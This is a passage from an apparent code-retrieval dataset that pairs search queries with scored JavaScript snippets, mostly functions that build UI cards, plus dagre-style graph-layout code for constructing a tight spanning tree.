${clue.category.title}`;\r\n\r\n const ans = document.createElement(\"p\");\r\n ans.id = `answer${clue.id}`;\r\n ans.textContent = clue.answer;\r\n ans.style.fontSize = \"1vw\";\r\n ans.style.color = \"rgb(221, 156, 74)\";\r\n ans.style.marginBottom = \"5em\";\r\n\r\n const value = document.createElement(\"p\");\r\n value.id = \"value\";\r\n value.textContent = `difficulty: ${clue.value}`;\r\n\r\n const airDate = document.createElement(\"p\");\r\n airDate.id = \"airDate\";\r\n airDate.textContent = `Airdate: ${clue.airdate}`;\r\n\r\n const revealButton = document.createElement(\"button\");\r\n revealButton.setAttribute(\"onclick\", `toggleAnswer(${clue.id})`);\r\n revealButton.id = \"toggleButton\";\r\n revealButton.textContent = \"Click to hide/reveal answer\";\r\n\r\n card.appendChild(quest);\r\n card.appendChild(ans);\r\n card.appendChild(category);\r\n card.appendChild(value);\r\n card.appendChild(airDate);\r\n card.appendChild(revealButton);\r\n\r\n document.getElementById(\"container\").appendChild(card);\r\n}", "title": "" }, { "docid": "1c70828170f386dc0a77147d7b6c4a90", "score": "0.6584579", "text": "generateHeroCard(session, data) {\n var hero = new builder.HeroCard(session);\n \n if (data.title) hero.title(data.title);\n if (data.subtitle) hero.subtitle(data.subtitle); \n if (data.text) hero.text(data.text);\n \n if (data.images && data.images.length > 0) {\n hero.images([\n builder.CardImage.create(session, data.images[0])\n ]);\n }\n\n if (data.tap) {\n switch (data.tap.action) {\n case \"openUrl\":\n hero.tap(builder.CardAction.openUrl(session, data.tap.value));\n break;\n }\n }\n\n if (data.buttons) {\n var buttons = this.addButtonsByType(session, data.buttons);\n if (buttons.length > 0) {\n hero.buttons(buttons);\n }\n }\n return hero;\n }", "title": "" }, { "docid": "305059ecf74f478fe6da54d05d4e741d", "score": "0.6578138", "text": "function constructCard(item) {\n var id = item.id || '';\n var name = item.name || '';\n var description = item.description || '';\n var imageLink = item.poster_path;\n var likesCount = item.like_count || 0;\n var price = item.price || '';\n\n var card = document.createElement('div');\n card.setAttribute('id', `${id}`);\n card.setAttribute('class', 'movie_card');\n card.innerHTML = `\n <div class=\"movie_card__inner\">\n <div class=\"movie_card__front\">\n <ul class=\"movie_card__ul\">\n <li class=\"movie_card__li\">\n <span class=\"like\" data-content=\"${likesCount}\">&hearts;</span>\n </li>\n <li class=\"movie_card__li buy\">\n <span class=\"buy\" data-content=\"${price}\">More &#x2192;</span>\n </li>\n </ul>\n <p class=\"movie_card__title\">${name}</p>\n </div>\n <div class=\"movie_card__back\">\n <h1>${name}</h1>\n <p>${description}</p>\n <p>$ ${price}</p>\n </div>\n </div>\n `;\n\n card.setAttribute('class', 'movie_card');\n card.setAttribute('id', id);\n card.style.backgroundImage = `url(${imageLink})`;\n card.style.backgroundRepeat = 'no-repeat';\n card.style.backgroundPosition = 'center';\n card.style.backgroundOrigin = 'padding-box';\n\n return card;\n}", "title": "" }, { "docid": "341d72c2069c4cc27b057cfe5d62ef31", "score": "0.65773016", "text": "function createNewCard(items) {\n var newOrderCard = $(\"<div>\").addClass(\"card\").css(\"width\", \"300px\");\n var newOrderCardHeading = $(\"<div>\").addClass(\"header cell-header card-section\");\n var itemName = $(\"<h3>\").text(items.name + \" \").addClass(\"itemN\");\n var itemDescription = $(\"<p>\").text(items.description + \" \").addClass(\"itemD\");\n var newFooter = $(\"<div>\").addClass(\"card-divider flex-container footer align-right\");\n var itemCost = $(\"<p>\").text(\"$\" + items.cost + \" \").addClass(\"itemC\");\n var addButton = $(\"<button>\").addClass(\"button addItem\").attr(\"data-id\", items.id).text(\"Add Item\");\n\n itemCost.append(addButton);\n newFooter.append(itemCost); //.append(addButton);\n newOrderCardHeading.append(itemName).append(itemDescription).append(newFooter);\n newOrderCard.append(newOrderCardHeading);\n\n\n switch (items.category) {\n case \"Appetizers\":\n $(\"#appetizerItem\").append(newOrderCard);\n break;\n case \"Burgers\":\n $(\"#burgerItem\").append(newOrderCard);\n break;\n case \"Salads\":\n $(\"#saladItem\").append(newOrderCard);\n break;\n case \"Drinks\":\n $(\"#drinkItem\").append(newOrderCard);\n break;\n default:\n console.log(\"invalid category\")\n break;\n }\n}", "title": "" }, { "docid": "b22fdcedcc0df55def02052a214395e1", "score": "0.65771663", "text": "function createCards(array) {\n const fragment = document.createDocumentFragment();\n array.forEach(function (card) {\n const listElement = document.createElement('li');\n const el = document.createElement('i');\n el.className = 'fa';\n el.classList.add(card);\n listElement.appendChild(el);\n listElement.className = 'card';\n fragment.appendChild(listElement);\n });\n\n const deck = document.querySelector('.deck');\n while (deck.firstChild) {\n deck.removeChild(deck.firstChild);\n }\n deck.appendChild(fragment);\n}", "title": "" }, { "docid": "f8cdbb3442b72397c9b63dab82fa36bd", "score": "0.657407", "text": "function createCards(props) {\n return (\n <div key={props.id} style={{ margin: \"5px\", maxWidth: \"200px\", display:\"inline-block\"}}>\n <Card >\n <CardContent>\n <Typography color=\"textSecondary\" gutterBottom>\n User\n </Typography>\n <Typography variant=\"h5\" component=\"h2\">\n {props.name}\n </Typography>\n <Typography color=\"textSecondary\">{props.username}</Typography>\n <Typography variant=\"body2\" component=\"p\">\n {props.email}\n <br />\n {`${props.address.street}, ${props.address.city}`}\n <br />\n {props.address.zipcode}\n </Typography>\n </CardContent>\n <CardActions>\n <Button size=\"small\">Learn More</Button>\n </CardActions>\n </Card>\n </div>\n );\n}", "title": "" }, { "docid": "d82d37ef1524a4c8b3c9bb62d74f4900", "score": "0.6573029", "text": "function addCard(course, id_displayable_data, id_view) {\n return remote.post({\n course: course,\n id_displayable_data: id_displayable_data,\n id_view: id_view,\n docType: DocType.CARD\n });\n}", "title": "" }, { "docid": "23a2aa4d8092426e3515c4fe3f612608", "score": "0.657298", "text": "function createCards(teamMembers){\n for (let i = 0; i < teamMembers.length; i++){\n if(teamMembers[i].getRole() === \"Manager\"){\n card[i] =\n `\n <div class=\"col\">\n <div class=\"card\" style=\"width: 18rem;\">\n <div class=\"card-body\">\n <h5 class=\"card-title\">${teamMembers[i].getName()}</h5>\n <h6 class=\"card-subtitle mb-2 text-muted\">${teamMembers[i].getRole()}</h6>\n </div>\n <ul class=\"list-group list-group-flush\">\n <li class=\"list-group-item\">ID: ${teamMembers[i].getID()}</li>\n <li class=\"list-group-item\">Email: <a href=\"mailto:${teamMembers[i].getEmail()}\">${teamMembers[i].getEmail()}</a></li> \n <li class=\"list-group-item\">Room Number: ${teamMembers[i].roomNumber}</li>\n </ul>\n </div>\n </div>`} \n else if(teamMembers[i].getRole() === \"Engineer\"){\n card[i] = \n `\n <div class=\"col\">\n <div class=\"card\" style=\"width: 18rem;\">\n <div class=\"card-body\">\n <h5 class=\"card-title\">${teamMembers[i].getName()}</h5>\n <h6 class=\"card-subtitle mb-2 text-muted\">${teamMembers[i].getRole()}</h6>\n </div>\n <ul class=\"list-group list-group-flush\">\n <li class=\"list-group-item\">ID: ${teamMembers[i].getID()}</li>\n <li class=\"list-group-item\">Email: <a href=\"mailto:${teamMembers[i].getEmail()}\">${teamMembers[i].getEmail()}</a></li> \n <li class=\"list-group-item\">GitHub: <a href=\"https://github.com/${teamMembers[i].gitHubUserName}\" target=\"_blank\">${teamMembers[i].gitHubUserName}</a></li>\n </ul>\n </div>\n </div>`} \n else if(teamMembers[i].getRole() === \"Intern\"){\n card[i] = \n `\n <div class=\"col\">\n <div class=\"card\" style=\"width: 18rem;\">\n <div class=\"card-body\">\n <h5 class=\"card-title\">${teamMembers[i].getName()}</h5>\n <h6 class=\"card-subtitle mb-2 text-muted\">${teamMembers[i].getRole()}</h6>\n </div>\n <ul class=\"list-group list-group-flush\">\n <li class=\"list-group-item\">ID: ${teamMembers[i].getID()}</li>\n <li class=\"list-group-item\">Email: <a href=\"mailto:${teamMembers[i].getEmail()}\">${teamMembers[i].getEmail()}</a></li> \n <li class=\"list-group-item\">School: ${teamMembers[i].school}</li>\n </ul>\n </div>\n </div>`\n }\n cards.push(card[i]);\n }\n}", "title": "" }, { "docid": "e1eb9918188215ebf25cd8e85fb4aef7", "score": "0.6568312", "text": "function createBoard() {\n for (let idx = 0; idx < cardArray.length; idx++) {\n var card = document.createElement(\"img\");\n card.setAttribute(\"src\", \"images/blank.jpg\");\n\n // * setting the width and height of img\n card.style.width = \"100px\";\n card.style.height = \"100px\";\n\n card.setAttribute(\"data-id\", idx);\n card.addEventListener(\"click\", flipCard);\n grid.appendChild(card);\n }\n }", "title": "" }, { "docid": "653c7a0a614703d0ce4fab0918b94963", "score": "0.65610534", "text": "function cardCreate(x, y, z, file, spot, healthID ){\n var newDiv = $(\"<div>\").html(\"\");\n $(newDiv).attr(\"class\", \"card col-md-2 col-5 text-center pl-1 pr-1\");\n $(newDiv).attr(\"id\", y );\n $(newDiv).attr(\"arraySpot\", spot );\n $(\"#saladBar\").append(newDiv);\n \n // Add Metrics\n var name = $(\"<div>\").html(\"<strong>\" + x.name + \"</strong>\");\n $(name).attr(\"class\", \"name\");\n $(newDiv).append(name);\n\n var health = $(\"<div>\").html(\"Health: \" + x.health);\n $(health).attr(\"class\", \"health\");\n $(health).attr(\"id\", healthID );\n $(newDiv).append(health);\n\n var attack = $(\"<div>\").html(\"Attack: \" + x.attack);\n $(attack).attr(\"class\", \"attack\");\n $(newDiv).append(attack);\n\n var counter = $(\"<div>\").html(\"Counter: \" + x.counterAttack);\n $(counter).attr(\"class\", \"counter\");\n $(newDiv).append(counter);\n\n // Add Image\n var image = $(\"<img>\").attr(\"src\", file);\n $(image).attr(\"class\", \"img-fluid\");\n $(newDiv).prepend(image);\n\n // Add Buttons\n var attackButton = $(\"<button>\").attr(\"class\", \"btn attackBtn\");\n $(attackButton).html(\"Attack\");\n $(attackButton).hide();\n $(newDiv).append(attackButton);\n \n var selectButton = $(\"<button>\").attr(\"class\", \"btn selectBtn\");\n $(selectButton).attr(\"id\", z );\n $(selectButton).html(\"Select\");\n $(newDiv).append(selectButton);\n\n var meButton = $(\"<button>\").attr(\"class\", \"btn meBtn\");\n $(meButton).html(\"My Warrior\");\n $(newDiv).append(meButton);\n $(meButton).hide();\n}", "title": "" }, { "docid": "b42cce2e988a26683d0faad46fcb6399", "score": "0.6558416", "text": "function createCard(cardData){\n var bundles = cardData.comboTypes;\n var prices = cardData.Fee;\n var bundlesLength = cardData.comboTypesLength;\n\n var plural = \"\";\n if(bundlesLength==3){\n plural = \"package-triple\";\n }else if(bundlesLength==2){\n plural = \"package-double\";\n }else{\n plural = \"package-single\";\n }\n\n\n var card = $('<div />');\n\n card.addClass('package-card');\n card.attr('data-price',cardData.Fee[0]+'.'+cardData.Fee[1]);\n card.addClass(plural);\n\n card.attr('data-bundle',cardData.isBundle);\n\n\n //popular\n //debugger;\n if(cardData.isPopular == 'y'){\n var popular = $('<div>').addClass('popular');\n card.append(popular);\n }\n card.attr('data-popular',cardData.isPopular);\n\n $.each(cardData.comboTypes,function(k,v){\n card.attr('data-'+k,v);\n\n });\n\n\n\n\n //icon\n var icon = $('<span />').addClass('package-icon');\n if(bundlesLength == 3){\n iconClass ='package-icon-triple';\n }else{\n if(bundlesLength == 2){\n if( bundles.internet == 'y' && bundles.tv == 'y'){\n iconClass = 'package-icon-tv-internet';\n }else if(bundles.internet == 'y' && bundles.phone == 'y'){\n iconClass = 'package-icon-internet-phone';\n }else if(bundles.tv == 'y' && bundles.phone == 'y'){\n iconClass = 'package-icon-tv-phone';\n }\n }else{\n if(bundles.internet == 'y'){\n iconClass = 'package-icon-internet';\n }else if(bundles.tv == 'y'){\n iconClass = 'package-icon-tv';\n }else if(bundles.phone == 'y'){\n iconClass = 'package-icon-phone';\n }\n }\n }\n icon.addClass(iconClass);\n card.append(icon);\n\n\n\n\n\n //title\n var title = $('<p>').addClass('package-title').html(cardData.SimpleTitle);\n card.append(title)\n\n //lower\n var lower = $('<div>').addClass('package-card-lower');\n\n //stars\n //var stars = $('<div>').addClass('stars').addClass('stars-3');\n //lower.append(stars)\n\n //pricing-box\n var pricing = $('<div>').addClass('pricing-box');\n\n //symbol\n var symbol = $('<span>').addClass('symbol').html('$');\n pricing.append(symbol);\n\n //price\n var price = $('<span>').addClass('price').html(prices[0]);\n pricing.append(price);\n\n //cents\n var cents = $('<span>').addClass('cents').html(prices[1]);\n pricing.append(cents);\n\n //month\n var month = $('<span>').addClass('month').html('/mo');\n pricing.append(month);\n\n //sub\n var sub = $('<p>').addClass('sub').html('for 12 mo. w/ 1 year term & voice service');\n pricing.append(sub);\n\n lower.append(pricing);\n\n //hr\n lower.append('<hr>');\n\n $.each(cardData.components,function(k,v){\n lower.append(createComponent(v));\n });\n\n //button\n var button = $('<button>').addClass('btn btn-primary').html('Select Package').attr('package-id',cardData.combination_id).attr('package-sprite',iconClass);\n lower.append(button);\n\n card.append(lower);\n return card;\n\n }", "title": "" }, { "docid": "156dee8140ea678e1ac24d39280b63e0", "score": "0.6557837", "text": "function createDeck() {\n\n let deckHTML = document.createElement('ul');\n let container = document.querySelector('.container');\n deckHTML.classList.add('deck');\n\n for (const card of cardArray) {\n let cardHTML = `<li class=\"card closed\">\n <i class=\"fa fa-${card}\"></i>\n </li>`;\n // There are 2 cards per card type\n deckHTML.insertAdjacentHTML('afterbegin', cardHTML);\n deckHTML.insertAdjacentHTML('afterbegin', cardHTML);\n }\n\n // Once the deck is full attach it to the container\n container.appendChild(deckHTML);\n\n // Shuffle the cards\n shuffleDeck();\n}", "title": "" }, { "docid": "05d769831168c97dc0c76594d8d80092", "score": "0.6552933", "text": "function generateCards(data) {\n employees = data.results;\n\n profileCards = employees.map(employee => {\n employeeProfile = '';\n employeeProfile += '<li class=\"employeeCard\">';\n employeeProfile += `<a href=\"#${employee.name.last}\">`;\n employeeProfile += '<div class=\"card\">';\n employeeProfile += `<img src=${employee.picture.large} class=\"cardPhoto\" alt=\"Employee Photo\" title=\"${employee.name.first} ${employee.name.last}\">`;\n employeeProfile += '<div class=\"cardText\">';\n employeeProfile += `<p class=\"employee\">${employee.name.first} ${employee.name.last}</p>`;\n employeeProfile += `<p class=\"email\">${employee.email}</p>`;\n employeeProfile += `<p class=\"city\">${employee.location.city}</p>`;\n employeeProfile += '</div>';\n employeeProfile += '</div>';\n employeeProfile += '</a>';\n employeeProfile += '</li>';\n return employeeProfile;\n });\n\n profileCards.map(card => ul.append(card));\n //----Declaring Card Elements-----//\n card = $('.card');\n cardText = $('.cardText');\n profileCards = $('li.employeeCard');\n\n}", "title": "" }, { "docid": "99b08a6307935d69b4f3bdcfdc178e62", "score": "0.65528244", "text": "createCard(col) {\n // prevent user from creating card without all fields \n // TODO: improve later to handle blank inputs\n if (this.newCard.name === \"\" || this.newCard.description === \"\" || this.newCard.deadline === \"\" ) {\n window.alert(\"Please fill in all card fields!\");\n return;\n }\n // create new card using constructor \n let newCardToAdd = new Card(this.newCard.cardId, this.newCard.columnId, this.newCard.name, this.newCard.color, this.newCard.description, this.newCard.deadline, this.newCard.priority, this.newCard.tags, [], [],[]);\n // push new card to the list of column's cards\n this.columns[col].cards.push(newCardToAdd);\n // reset newCard fields using resetNewCard (const in classes.js)\n this.newCard = resetNewCard;\n }", "title": "" }, { "docid": "c25b210c4e3b8e320cd3288ffd903e36", "score": "0.6545488", "text": "function addCard(card,posicion){\n card.children[0].src = gallery.images[posicion].imageurl;\n card.children[0].id = \"image\" + posicion;\n card.children[1].innerHTML = gallery.images[posicion].name;\n card.children[1].id = \"title\" + posicion;\n card.children[2].innerHTML = \"By : \" + gallery.images[posicion].artist;\n card.children[2].id = \"text\" + posicion;\n}", "title": "" }, { "docid": "391c8a7f0ecdcfd467fc0043d41440b7", "score": "0.6545469", "text": "function createCardDivs () {\n let result = '';\n\n memoryGame.cards.forEach(function (ele) {\n result += `\n <div class=\"card\" data-card-name=\"${ele.name}\">\n <div class=\"back\" name=\"${ele.img}\"></div>\n <div class=\"front\" style=\"background: url(img/${ele.img}) no-repeat\"> </div>\n </div>`;\n });\n return result;\n }", "title": "" }, { "docid": "e25745d2754b4031092777c8acb53ef1", "score": "0.6544174", "text": "function createCards () {\n const board = document.querySelector(\".board\");\n board.style.gridColumn = totalColums;\n board.style.gridRow = totalRows;\n\n let row = 1;\n let column = 0;\n\n for (i = 0; i<levelNumber; i++) {\n const card = document.createElement('div');\n board.insertAdjacentElement('beforeend', card);\n card.style.gridRow = row;\n card.style.gridColumn = column;\n card.classList.add('card');\n card.dataset.id = cardIds[i];\n card.addEventListener('click', cardClicked);\n card.faceUp = false;\n \n column += 1;\n\n if(column == totalColums) {\n row += 1;\n column = 0;\n }\n }\n}", "title": "" }, { "docid": "0e5eebf3dec290b66fec2f83b0cd37d7", "score": "0.6541614", "text": "addComCard(numCards){\r\n let length=this.myHandDiv.children.length;\r\n let cpu = document.querySelector(\"#myHand\");\r\n let image=document.createElement(\"img\");\r\n\t image.src =\"./Images/cardback.png\";\r\n\t //image.title=card.toString();\r\n //image.id=card.toString()+\"E\";\r\n\t image.class=\"card positionable\";\r\n\t image.style=\"position:absolute; left:\"+ (-30) + \"px; z-index:\" + length +\" hieght:10px\";\r\n\t cpu.appendChild(image);\r\n this.moveCard(image,(30*(this.comlength)),-30);\r\n }", "title": "" }, { "docid": "b95805d513721c6ce56f0bab39cb7a0f", "score": "0.6539438", "text": "function createBoard() {\n for (let i = 0; i < cardArray.length; i++) {\n var card = document.createElement(\"img\");\n card.setAttribute(\"src\", \"images/toast.png\");\n card.setAttribute(\"data-id\", i);\n card.addEventListener(\"click\", flipCard);\n grid.appendChild(card);\n }\n }", "title": "" }, { "docid": "044f7a703d2df6dd02dca7d8a4b44c62", "score": "0.653808", "text": "function addCard() {\n\tlet cardList = shuffle(cards);\n\tcardList.forEach(function(card) {\n\t\t$(\".deck\").append('<li><i class = \"card fa ' + card + '\"></i></li>');\n\t})\n}", "title": "" }, { "docid": "090cae578975692d6b286361d6088234", "score": "0.6529625", "text": "function addCards(data) {\n // loop for array product\n for (let product of data) {\n console.log(product)\n // target the card-container element in the html\n let card = document.getElementById('card-container');\n // price conversion\n const price = convertPrice(product.price);\n card.innerHTML += `\n <div class=\"col\">\n <a href=\"../../front-end/produit.html?_id=${product._id}\">\n <div class=\"card border-secondary h-100 shadow\">\n <img src=\"${product.imageUrl}\" class=\"card-img-top\" alt=\"${product.name}\">\n <div class=\"card-body text-dark\">\n <h5 class=\"card-title\">${product.name}</h5>\n <p class=\"card-text\">${product.description}</p>\n </div>\n <div class=\"card-footer bg-secondary text-white\">${price}</div>\n </div>\n </a>\n </div>`;\n }\n}", "title": "" }, { "docid": "c391f2dd0674fcb45324fa0307a4419d", "score": "0.65275556", "text": "createCard(data) {\n this.template = document.querySelector(\"#url-card\").innerHTML.trim();\n this.templateFunc = Handlebars.compile(this.template);\n const markup = this.templateFunc(data);\n this.container.innerHTML = markup;\n\n const delBtns = [...document.querySelectorAll(\".del-btn\")];\n delBtns.map(btn =>\n btn.addEventListener(\"click\", this.deleteCard.bind(this))\n );\n }", "title": "" }, { "docid": "f9bcbbb8512fd1de314308acf93e60b6", "score": "0.6527496", "text": "function buildCards() {\n\tfor (let i = projectsObj.length-1; i >= 0; i--) {\n\tlet html =\n\t`\n\t<div class=\"wide-card\">\n\t\t<div class=\"card-splash ${projectsObj[i].name}\">\n\t\t\t<h3>${projectsObj[i].title}</h3>\n\t\t</div>\n\t\t<div class=\"card-description\">\n\t\t\t<p>${projectsObj[i].description}</p>\n\t\t\t<p>${projectsObj[i].tools}</p>\n\t\t</div>\n\t\t<div class=\"card-link\">\n\t\t\t<a href=\"${projectsObj[i].link}\" target=\"_blank\">View Project</a>\n\t\t</div>\n\t</div>\n\t`\n\trow.innerHTML += html;\n\t}\n}", "title": "" } ]
32d11450368869c3aabdaa7395cdc182
Constructs a spanning tree with tight edges and adjusted the input node's ranks to achieve this. A tight edge is one that is has a length that matches its "minlen" attribute. The basic structure for this function is derived from Gansner, et al., "A Technique for Drawing Directed Graphs." Preconditions: 1. Graph must be a DAG. 2. Graph must be connected. 3. Graph must have at least one node. 5. Graph nodes must have been previously assigned a "rank" property that respects the "minlen" property of incident edges. 6. Graph edges must have a "minlen" property. Postconditions: Graph nodes will have their rank adjusted to ensure that all edges are tight. Returns a tree (undirected graph) that is constructed using only "tight" edges.
[ { "docid": "84409d1bfab829f0b93260f92e5f6793", "score": "0.60586274", "text": "function feasibleTree(g) {\n var t = new Graph({ directed: false });\n\n // Choose arbitrary node from which to start our tree\n var start = g.nodes()[0],\n size = g.nodeCount();\n t.setNode(start, {});\n\n var edge, delta;\n while (tightTree(t, g) < size) {\n edge = findMinSlackEdge(t, g);\n delta = t.hasNode(edge.v) ? slack(g, edge) : -slack(g, edge);\n shiftRanks(t, g, delta);\n }\n\n return t;\n}", "title": "" } ]
[ { "docid": "b6154e66cc63a523cfa1072e4e58ed8d", "score": "0.6272622", "text": "function tightTree(t,g){function dfs(v){_.forEach(g.nodeEdges(v),function(e){var edgeV=e.v,w=v===edgeV?e.w:edgeV;if(!t.hasNode(w)&&!slack(g,e)){t.setNode(w,{});t.setEdge(v,w,{});dfs(w)}})}_.forEach(t.nodes(),dfs);return t.nodeCount()}", "title": "" }, { "docid": "865ca099773b88555fb255e8283f5872", "score": "0.6211503", "text": "function feasibleTree(g){var t=new Graph({directed:!1}),start=g.nodes()[0],size=g.nodeCount();// Choose arbitrary node from which to start our tree\nt.setNode(start,{});var edge,delta;while(tightTree(t,g)<size){edge=findMinSlackEdge(t,g);delta=t.hasNode(edge.v)?slack(g,edge):-slack(g,edge);shiftRanks(t,g,delta)}return t}", "title": "" }, { "docid": "f559ee99c002aa2d8360f812e7687385", "score": "0.61046064", "text": "function feasibleTree(g) {\n var t = new Graph$3({ directed: false });\n\n // Choose arbitrary node from which to start our tree\n var start = g.nodes()[0],\n size = g.nodeCount();\n t.setNode(start, {});\n\n var edge, delta;\n while (tightTree(t, g) < size) {\n edge = findMinSlackEdge(t, g);\n delta = t.hasNode(edge.v) ? slack$1(g, edge) : -slack$1(g, edge);\n shiftRanks(t, g, delta);\n }\n\n return t;\n }", "title": "" }, { "docid": "472be0e3e8979cf305d0577926122ecf", "score": "0.60991395", "text": "function feasibleTree(g) {\n\t var t = new Graph$3({ directed: false });\n\n\t // Choose arbitrary node from which to start our tree\n\t var start = g.nodes()[0];\n\t var size = g.nodeCount();\n\t t.setNode(start, {});\n\n\t var edge, delta;\n\t while (tightTree(t, g) < size) {\n\t edge = findMinSlackEdge(t, g);\n\t delta = t.hasNode(edge.v) ? slack$1(g, edge) : -slack$1(g, edge);\n\t shiftRanks(t, g, delta);\n\t }\n\n\t return t;\n\t}", "title": "" }, { "docid": "3697962d2c5735fc9fa88f29c8fd5e79", "score": "0.60831773", "text": "function feasibleTree(g) {\r\n var t = new Graph({ directed: false });\r\n\r\n // Choose arbitrary node from which to start our tree\r\n var start = g.nodes()[0];\r\n var size = g.nodeCount();\r\n t.setNode(start, {});\r\n\r\n var edge, delta;\r\n while (tightTree(t, g) < size) {\r\n edge = findMinSlackEdge(t, g);\r\n delta = t.hasNode(edge.v) ? slack(g, edge) : -slack(g, edge);\r\n shiftRanks(t, g, delta);\r\n }\r\n\r\n return t;\r\n}", "title": "" }, { "docid": "923873298fa20a159d2647d0431be6ea", "score": "0.6014414", "text": "function tightTree(t, g) {\n\t function dfs(v) {\n\t lodash_1$1.forEach(g.nodeEdges(v), function(e) {\n\t var edgeV = e.v,\n\t w = (v === edgeV) ? e.w : edgeV;\n\t if (!t.hasNode(w) && !slack$1(g, e)) {\n\t t.setNode(w, {});\n\t t.setEdge(v, w, {});\n\t dfs(w);\n\t }\n\t });\n\t }\n\n\t lodash_1$1.forEach(t.nodes(), dfs);\n\t return t.nodeCount();\n\t}", "title": "" }, { "docid": "21daa3b4ffc81aee04fd05a73e0731a0", "score": "0.5957273", "text": "function tightTree(t, g) {\n function dfs(v) {\n lodash_1$1.forEach(g.nodeEdges(v), function(e) {\n var edgeV = e.v,\n w = (v === edgeV) ? e.w : edgeV;\n if (!t.hasNode(w) && !slack$1(g, e)) {\n t.setNode(w, {});\n t.setEdge(v, w, {});\n dfs(w);\n }\n });\n }\n\n lodash_1$1.forEach(t.nodes(), dfs);\n return t.nodeCount();\n }", "title": "" }, { "docid": "aa0038c7c79b5ce4868fa687873001c7", "score": "0.59373724", "text": "function tightTree(t, g) {\n function dfs(v) {\n _.each(g.nodeEdges(v), function(e) {\n var edgeV = e.v,\n w = (v === edgeV) ? e.w : edgeV;\n if (!t.hasNode(w) && !slack(g, e)) {\n t.setNode(w, {});\n t.setEdge(v, w, {});\n dfs(w);\n }\n });\n }\n\n _.each(t.nodes(), dfs);\n return t.nodeCount();\n}", "title": "" }, { "docid": "aa0038c7c79b5ce4868fa687873001c7", "score": "0.59373724", "text": "function tightTree(t, g) {\n function dfs(v) {\n _.each(g.nodeEdges(v), function(e) {\n var edgeV = e.v,\n w = (v === edgeV) ? e.w : edgeV;\n if (!t.hasNode(w) && !slack(g, e)) {\n t.setNode(w, {});\n t.setEdge(v, w, {});\n dfs(w);\n }\n });\n }\n\n _.each(t.nodes(), dfs);\n return t.nodeCount();\n}", "title": "" }, { "docid": "aa0038c7c79b5ce4868fa687873001c7", "score": "0.59373724", "text": "function tightTree(t, g) {\n function dfs(v) {\n _.each(g.nodeEdges(v), function(e) {\n var edgeV = e.v,\n w = (v === edgeV) ? e.w : edgeV;\n if (!t.hasNode(w) && !slack(g, e)) {\n t.setNode(w, {});\n t.setEdge(v, w, {});\n dfs(w);\n }\n });\n }\n\n _.each(t.nodes(), dfs);\n return t.nodeCount();\n}", "title": "" }, { "docid": "aa0038c7c79b5ce4868fa687873001c7", "score": "0.59373724", "text": "function tightTree(t, g) {\n function dfs(v) {\n _.each(g.nodeEdges(v), function(e) {\n var edgeV = e.v,\n w = (v === edgeV) ? e.w : edgeV;\n if (!t.hasNode(w) && !slack(g, e)) {\n t.setNode(w, {});\n t.setEdge(v, w, {});\n dfs(w);\n }\n });\n }\n\n _.each(t.nodes(), dfs);\n return t.nodeCount();\n}", "title": "" }, { "docid": "aa0038c7c79b5ce4868fa687873001c7", "score": "0.59373724", "text": "function tightTree(t, g) {\n function dfs(v) {\n _.each(g.nodeEdges(v), function(e) {\n var edgeV = e.v,\n w = (v === edgeV) ? e.w : edgeV;\n if (!t.hasNode(w) && !slack(g, e)) {\n t.setNode(w, {});\n t.setEdge(v, w, {});\n dfs(w);\n }\n });\n }\n\n _.each(t.nodes(), dfs);\n return t.nodeCount();\n}", "title": "" }, { "docid": "0bf2e9982e5076b577be6fcdf623ea53", "score": "0.59193313", "text": "function tightTree(t, g) {\r\n function dfs(v) {\r\n _.forEach(g.nodeEdges(v), function(e) {\r\n var edgeV = e.v,\r\n w = (v === edgeV) ? e.w : edgeV;\r\n if (!t.hasNode(w) && !slack(g, e)) {\r\n t.setNode(w, {});\r\n t.setEdge(v, w, {});\r\n dfs(w);\r\n }\r\n });\r\n }\r\n\r\n _.forEach(t.nodes(), dfs);\r\n return t.nodeCount();\r\n}", "title": "" }, { "docid": "5a8265df52ecd2fc4d21380426ec5aa9", "score": "0.5893018", "text": "function tightTree(t, g) {\n function dfs(v) {\n _.forEach(g.nodeEdges(v), function(e) {\n var edgeV = e.v,\n w = (v === edgeV) ? e.w : edgeV;\n if (!t.hasNode(w) && !slack(g, e)) {\n t.setNode(w, {});\n t.setEdge(v, w, {});\n dfs(w);\n }\n });\n }\n\n _.forEach(t.nodes(), dfs);\n return t.nodeCount();\n}", "title": "" }, { "docid": "bd87fcd44f9636dea35cdedaf67f2267", "score": "0.5705333", "text": "function feasibleTree(g) {\n var remaining = new Set(g.nodes()),\n tree = new Digraph();\n\n if (remaining.size() === 1) {\n var root = g.nodes()[0];\n tree.addNode(root, {});\n tree.graph({ root: root });\n return tree;\n }\n\n function addTightEdges(v) {\n var continueToScan = true;\n g.predecessors(v).forEach(function(u) {\n if (remaining.has(u) && !slack(g, u, v)) {\n if (remaining.has(v)) {\n tree.addNode(v, {});\n remaining.remove(v);\n tree.graph({ root: v });\n }\n\n tree.addNode(u, {});\n tree.addEdge(null, u, v, { reversed: true });\n remaining.remove(u);\n addTightEdges(u);\n continueToScan = false;\n }\n });\n\n g.successors(v).forEach(function(w) {\n if (remaining.has(w) && !slack(g, v, w)) {\n if (remaining.has(v)) {\n tree.addNode(v, {});\n remaining.remove(v);\n tree.graph({ root: v });\n }\n\n tree.addNode(w, {});\n tree.addEdge(null, v, w, {});\n remaining.remove(w);\n addTightEdges(w);\n continueToScan = false;\n }\n });\n return continueToScan;\n }\n\n function createTightEdge() {\n var minSlack = Number.MAX_VALUE;\n remaining.keys().forEach(function(v) {\n g.predecessors(v).forEach(function(u) {\n if (!remaining.has(u)) {\n var edgeSlack = slack(g, u, v);\n if (Math.abs(edgeSlack) < Math.abs(minSlack)) {\n minSlack = -edgeSlack;\n }\n }\n });\n\n g.successors(v).forEach(function(w) {\n if (!remaining.has(w)) {\n var edgeSlack = slack(g, v, w);\n if (Math.abs(edgeSlack) < Math.abs(minSlack)) {\n minSlack = edgeSlack;\n }\n }\n });\n });\n\n tree.eachNode(function(u) { g.node(u).rank -= minSlack; });\n }\n\n while (remaining.size()) {\n var nodesToSearch = !tree.order() ? remaining.keys() : tree.nodes();\n for (var i = 0, il = nodesToSearch.length;\n i < il && addTightEdges(nodesToSearch[i]);\n ++i);\n if (remaining.size()) {\n createTightEdge();\n }\n }\n\n return tree;\n}", "title": "" }, { "docid": "30b8eb79c8d41aff7abc2ace2227a89e", "score": "0.53189164", "text": "function tree() {\n var separation = defaultSeparation,\n dx = 1,\n dy = 1,\n nodeSize = null;\n\n function tree(root) {\n var t = treeRoot(root);\n\n // Compute the layout using Buchheim et al.’s algorithm.\n t.eachAfter(firstWalk), t.parent.m = -t.z;\n 